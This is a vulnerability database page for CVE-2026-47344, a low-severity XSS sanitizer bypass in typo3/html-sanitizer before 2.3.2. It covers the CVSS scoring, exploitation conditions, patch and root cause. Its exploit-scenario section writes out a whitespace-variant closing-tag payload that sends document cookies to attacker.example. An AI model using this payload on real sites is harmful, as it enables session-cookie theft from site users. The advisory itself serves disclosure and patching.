Skip to main content

TYPO3 html-sanitizer CVE-2026-47344

| EUVDEUVD-2026-35191 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-08 TYPO3 GHSA-jvf5-rxvv-3mcg
2.1
CVSS 4.0 · Vendor: TYPO3
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify TYPO3 instance with ALLOW_INSECURE_RAW_TEXT enabled
  2. Delivery
    Authenticate as low-privileged contributor
  3. Exploit
    Submit HTML payload with whitespace-variant closing tag (</style\t>)
  4. Execution
    Sanitizer rawText() misses end tag, passes script block unsanitized
  5. Persist
    Victim user loads rendered content
  6. Impact
    Browser parses </style\t> as valid close tag and executes injected XSS payload

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation strictly requires that the target application has explicitly enabled the ALLOW_INSECURE_RAW_TEXT option in typo3/html-sanitizer - this is a non-default, opt-in configuration that must be deliberately activated by a developer or administrator. The CVSS vector confirms low privileges are required (PR:L), meaning the attacker must hold some authenticated access (e.g., a CMS editor or contributor role) capable of submitting HTML content through the sanitizer. Passive user interaction is also required (UI:P): a victim must load or render the page containing the injected payload. Applications that have not enabled ALLOW_INSECURE_RAW_TEXT are entirely unaffected regardless of the installed version. The combination of non-default configuration, authenticated access, and required victim interaction represents three independent limiting factors beyond the raw CVSS score.

Impact

The CVSS 4.0 score of 2.1 accurately reflects the constrained exploitability of this issue. Attack requirements are rated 'Present' (AT:P), confirming that ALLOW_INSECURE_RAW_TEXT must be explicitly enabled - a non-default opt-in setting - for the vulnerability to be reachable. Low privileges are required (PR:L) and passive user interaction is necessary (UI:P), meaning both an authenticated contributor-level account and a victim who views the crafted output are prerequisites. Impact is scoped entirely to subsequent systems (SC:L/SI:L) with zero direct impact on the vulnerable system itself (VC:N/VI:N/VA:N), consistent with a stored or reflected XSS that harms end users rather than the server. No EPSS data was provided in the input; no CISA KEV listing exists; no public proof-of-concept exploit was identified. The CVSS vector and vulnerability description are fully consistent - there is no conflict to flag. Real-world priority is low for the majority of deployments that have never enabled ALLOW_INSECURE_RAW_TEXT, but any application that has explicitly enabled this flag should treat the issue as meaningful XSS risk and patch promptly.

Exploit ScenarioDerived

An attacker with a low-privileged CMS contributor account on a TYPO3 installation that has ALLOW_INSECURE_RAW_TEXT enabled submits a content block containing a payload such as <style></style\t><script>fetch('https://attacker.example/'+document.cookie)</script>. The sanitizer's rawText() fails to match </style\t> as the closing tag and passes the trailing script block through unsanitized. When an administrator or site visitor's browser renders the page, it correctly closes the style element at </style\t> and executes the injected script, exfiltrating session cookies or performing actions in the victim's browser context.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

XSS sanitizer bypass in typo3/html-sanitizer before 2.3.2 allows authenticated low-privileged users to inject unsanitized HTML by exploiting a parser divergence between the Masterminds HTML5 tokenizer and browser behavior for whitespace-variant closing tags such as </style\t>. The vulnerability is gated behind the non-default ALLOW_INSECURE_RAW_TEXT configuration flag, substantially limiting exposure. No public exploit code has been identified at time of analysis, and active exploitation has not been confirmed by CISA KEV.

RemediationAI

Upgrade to typo3/html-sanitizer 2.3.2 or later, which resolves the issue by introducing a custom Tokenizer subclass (src/Parser/Tokenizer.php) that correctly handles whitespace-variant closing tags per HTML5 spec § 8.2.6.1, eliminating the parser divergence with browsers. The patch commit is bd1a88d9b5a5f67f1120ec41084e9c1a0675641c (https://github.com/TYPO3/html-sanitizer/commit/bd1a88d9b5a5f67f1120ec41084e9c1a0675641c), and the vendor advisory is at https://typo3.org/security/advisory/typo3-core-sa-2026-006. If an immediate upgrade is not feasible, disabling the ALLOW_INSECURE_RAW_TEXT configuration option eliminates the vulnerable code path entirely and is the recommended compensating control; however, this may break application functionality that depends on passing raw HTML through the sanitizer, so operators should audit usage before disabling it. No other workaround is known that preserves ALLOW_INSECURE_RAW_TEXT while closing the bypass.

Affected VersionsENISA

HTML Sanitizer 0 <2.3.2

Affected Packages

composer typo3/html-sanitizer fix: 2.3.2
euvd html_sanitizer fix: 2.3.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause (CWE-79) is a parser inconsistency in the rawText() method of the Masterminds HTML5 tokenizer, which typo3/html-sanitizer used internally prior to version 2.3.2. The HTML5 specification (§ 8.2.6.1) permits optional whitespace between a raw-text closing tag name and the terminating '>' character, making </style\t> a syntactically valid end tag. The Masterminds tokenizer's rawText() searched only for the literal sequence '</style>' without consuming trailing whitespace, so it failed to detect </style\t> as a closing tag and treated subsequent content as still inside the raw-text element. Browsers, being compliant with the HTML5 spec, correctly parse </style\t> as the closing tag, causing content injected after it to execute as normal HTML rather than raw text. The fix (commit bd1a88d9) introduces a custom TYPO3\HtmlSanitizer\Parser\Tokenizer subclass that mirrors the existing rcdata() whitespace-handling behavior in rawText(), and a custom Html5 parser class that wires this fixed tokenizer into the sanitization pipeline. All versions matching CPE cpe:2.3:a:typo3:html_sanitizer:*:*:*:*:*:*:*:* before 2.3.2 are affected.

Know when Typo3 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (TYPO3) PRIMARY 2.1 LOW
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (TYPO3) · only source for this CVE.

CVSS VectorVendor: TYPO3

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 08, 2026 - 20:22 NVD
2.1 (LOW)

DescriptionCVE.org

When ALLOW_INSECURE_RAW_TEXT is enabled, whitespace-variant closing tags (e.g., </style\t>) are not recognized by the sanitizer but accepted by browsers as valid end tags, allowing subsequent content to escape sanitization. This allows bypassing the cross-site scripting prevention mechanism of typo3/html-sanitizer before version 2.3.2.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

10
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Typo3

View all
CVE-2020-15086 CRITICAL POC
9.8 Jul 29

In TYPO3 installations with the "mediace" extension from version 7.6.2 and before version 7.6.5, it has been discovered

CVE-2026-77136 CRITICAL POC
9.5 Aug 25

Server-side template injection in the TYPO3 'Powermail' extension lets an anonymous user submit Fluid template syntax th

CVE-2017-14251 HIGH POC
8.8 Sep 11

Unrestricted File Upload vulnerability in the fileDenyPattern in sysext/core/Classes/Core/SystemEnvironmentBuilder.php i

CVE-2026-46725 CRITICAL POC
9.2 May 19

Remote code execution in the TYPO3 'Content Element Selector' extension allows unauthenticated attackers to execute arbi

CVE-2014-9509 HIGH POC
7.5 Jan 04

The frontend rendering component in TYPO3 4.5.x before 4.5.39, 4.6.x through 6.2.x before 6.2.9, and 7.x before 7.0.2, w

CVE-2026-19418 HIGH POC
7.3 Aug 11

Broken referrer enforcement in TYPO3 CMS backend and Install Tool allows an attacker with JavaScript execution capabilit

CVE-2016-4056 MEDIUM POC
6.1 Jan 23

Cross-site scripting (XSS) vulnerability in the Backend component in TYPO3 6.2.x before 6.2.19 allows remote attackers t

CVE-2023-24814 MEDIUM POC
6.1 Feb 07

TYPO3 is a free and open source Content Management Framework released under the GNU General Public License. Rated medium

CVE-2020-26227 MEDIUM POC
6.1 Nov 23

TYPO3 is an open source PHP based web content management system. Rated medium severity (CVSS 6.1), this vulnerability is

CVE-2020-26216 MEDIUM POC
6.1 Nov 17

TYPO3 Fluid before versions 2.0.8, 2.1.7, 2.2.4, 2.3.7, 2.4.4, 2.5.11 and 2.6.10 is vulnerable to Cross-Site Scripting.

CVE-2020-15241 MEDIUM POC
6.1 Oct 08

TYPO3 Fluid Engine (package `typo3fluid/fluid`) before versions 2.0.5, 2.1.4, 2.2.1, 2.3.5, 2.4.1, 2.5.5 or 2.6.1 is vul

CVE-2020-8091 MEDIUM POC
6.1 Jan 27

svg.swf in TYPO3 6.2.0 to 6.2.38 ELTS and 7.0.0 to 7.1.0 could allow an unauthenticated, remote attacker to conduct a cr

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy